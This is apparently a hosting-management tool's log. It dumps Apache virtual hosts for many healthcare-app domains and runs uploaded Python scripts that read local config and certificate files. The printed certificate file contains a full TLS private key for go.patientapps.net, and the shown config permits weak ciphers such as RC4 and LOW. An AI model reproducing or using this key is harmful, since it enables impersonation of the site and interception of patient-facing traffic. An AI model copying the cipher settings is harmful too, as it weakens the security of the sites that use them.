         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:01:21: 

PUT: /tmp/pkp516118

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_go_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:01:21: 

chmod 755 /tmp/pkp516118; /tmp/pkp516118; rm /tmp/pkp516118

2025-12-15 06:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf	1491
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>







2025-12-15 06:01:21: 

PUT: /tmp/pkp242280

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:01:21: 

chmod 755 /tmp/pkp242280; /tmp/pkp242280; rm /tmp/pkp242280

2025-12-15 06:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt	5360
fc:29:4f:4e:39:4e:11:65:d6:8b:a7:d8:b9:dd:24:cd

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBQvhiTe5jCt6ahEnrCu16UYfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMjQ5WhcNMjYwMzE1MDUwMjQ4WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDHxggXG6cNMnmZxYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gU
Jzdd7tLLo8BSQKXFbtq5bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtP
KVaY/i5J8kvhNN7BpCxUtzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+
aAdlFpFnNzlMRVDimuxjoWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f
4eqeZT2X5lBAGcI4iIJg4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I
74nXtZOPpEweXBQleif5ffR7EHSpAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFCSXNlRhf7dqcUVOy/pMSbgZEwdJMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzIuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbIJla0AAABAMA
RzBFAiEAmkIUN+aQx41nr4Qg9aeHLRtosnZ3TYL2FZaaJleeeqcCIAtZcURvEZ4l
k1cl8p+qEvlOxKdsaRVmavFeKahe7BPtAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2
pPM2bkakPw/KqcYAAAGbIJlaqQAABAMASDBGAiEA46v+KSHYarP++3cVPS/PUo6f
i95Vm+8/vMe5wnq8wcMCIQC6xUDzB35aMSzUT0TgnKLJa1x/ntIrY6i9MdNX5aKh
AjANBgkqhkiG9w0BAQsFAAOCAQEAQpFoOQjkozimeYxFfkmGSzHhLNei97LYXrgR
id/yodZ68t1FfKOgqjZIbDfn6BDbov2d90XwHgDd0pvhlI9G/VKHUD3Qx+h4TRqT
DelX55U/lJ23uxdjUaCcw2eX0qecf/wfUO24im+rypIjOsn8KVIWMOLoqHb33NQr
kPjfLAb7RZJWVc62xJiPCNI4uFmtocHh64aaLZXMsQ9ZVgQOuar2rAiIVLp7DNbk
nl0FeIT2KYC/JQQIULkyecb56SzgBlidtgJOHGlhiOkf+vQKkWV6pMgMUHUyoTpL
wm97/rvVpJinenUC2TowULUJ+LC++9FsWuW3f64SL8gV0mASeg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHxggXG6cNMnmZ
xYQrKJxQa4almAAmfeh4wA/9hfgr2/OogHY6LLCjw+gUJzdd7tLLo8BSQKXFbtq5
bkiACiie1JMALkFFUd5oCmCHHcaKqMPgp5zNuO2BUjtPKVaY/i5J8kvhNN7BpCxU
tzMYmYEYHLE6SkugNMVnl0Id2dku5QsHkamuhl3LESS+aAdlFpFnNzlMRVDimuxj
oWEqfH2NEOTPoteye18LsjFttlR2NJBjKjPMHjHLfi2f4eqeZT2X5lBAGcI4iIJg
4ekZHt01SexMHZra+uC5ElEVOvNfMX74BGHsHXcnCi6I74nXtZOPpEweXBQleif5
ffR7EHSpAgMBAAECggEARzK33Wx4jAaKOhif8zXFCBBaa5gRraY//REOYd+mRBNe
8pXeDPuydJs0kkIrxGmCbRtORsJNkmDgySeZ5TA5q+m8/lp93rO/3Tqdjmo5QV/G
d8Gk69jVpLpm8t6bw2kLnEUjb/8EyOS2+/ZS2piS3sITE+A4tb84/6Nz5+mlMsXC
/WEjdR9+mTe4lJd9VhqIgGCVH7kmPGkSGNdMxFs003dIAbLeUZlj9NaBdDkoHcm/
ocNcMsyHKi6oSOeIT28BgSM0Gw0cHPVW9IfS9u2JcJPfcmHZ73AzOeO/fy9/THOK
8hoPhKU1KTIrCo0HuUuKc/pubGmd2G1vPL6X5vI2EQKBgQD1ZlKCKKsOdeO5PBUU
LO3Mbpxl1ZrR89Vrs8ld40/XPIeZ7GPwzS/wpQtVI5EuDT6ZPM6mKx0sO3jqDTzP
FmUqinoTSOKKYdYs0m6Fp0gSchjhe7MZCq9EYWF7p20RGnaJHzU8tJPcg3QaWqC5
Vz/6vmJK7soN7fBX32eq1Lyo9QKBgQDQZyqmQQxh29quyn81ZvYSQ6NenMAFt2sm
ucIvJRwsoDdyWyGHMjIE582UgKevAkwLCYVpPStlCoEFzilUlH3YPOJYA1BCuLRJ
PQ0JH5v5mDlF7mZywxCVB/GdqeC1V7y7R2YNFedARxxJBgzDvYya+1uPRupZwYaM
5vshxSscZQKBgQCEtuC6Waog+Oq+O9sefSnh3JQiksHW9+qdA69MYmnEeozPVsO5
8A4UM/4L/l8+q5UGJJeR0FFHoaZD1gLj8DWoKxnYIhu6QS0mMmvpRk25BBGmqFJ0
oY2mCpBA4oweqtQeVk1hVjt9D26T7h1r/t6wCZR49+k4XU0VCNI01jZtnQKBgHvU
YS4qRo47EYR8g/uaMyqFECSepSaAZuW6yJw0w7nsdSW46oInnDr39VqA26IMjlyc
iq4Oj6NZC3MEneBI30HGY4OCbIVItK8z3HQIWSiEf7uCvVMBfu/eqX1SPFfkSxtI
gGXUFvVFi5QEST9heJN6OVw3+fXdHPLKKHxXaJdVAoGACDteGt6OBh1kZSpppzIc
mGRIo/FxtqNZ4fJsPUg5IiI9/MzzLl8fXc4hDJS8dQZJGJsP9jLjbTMk4XRAP51p
wZ9SyNZLZrImrNRbc99pFWVkealMGS+sg0l6WdGg+qDln/QR0qWEBRgI3FVs6Hc/
zpztHZhJpLB/f4Ev/myRjoQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
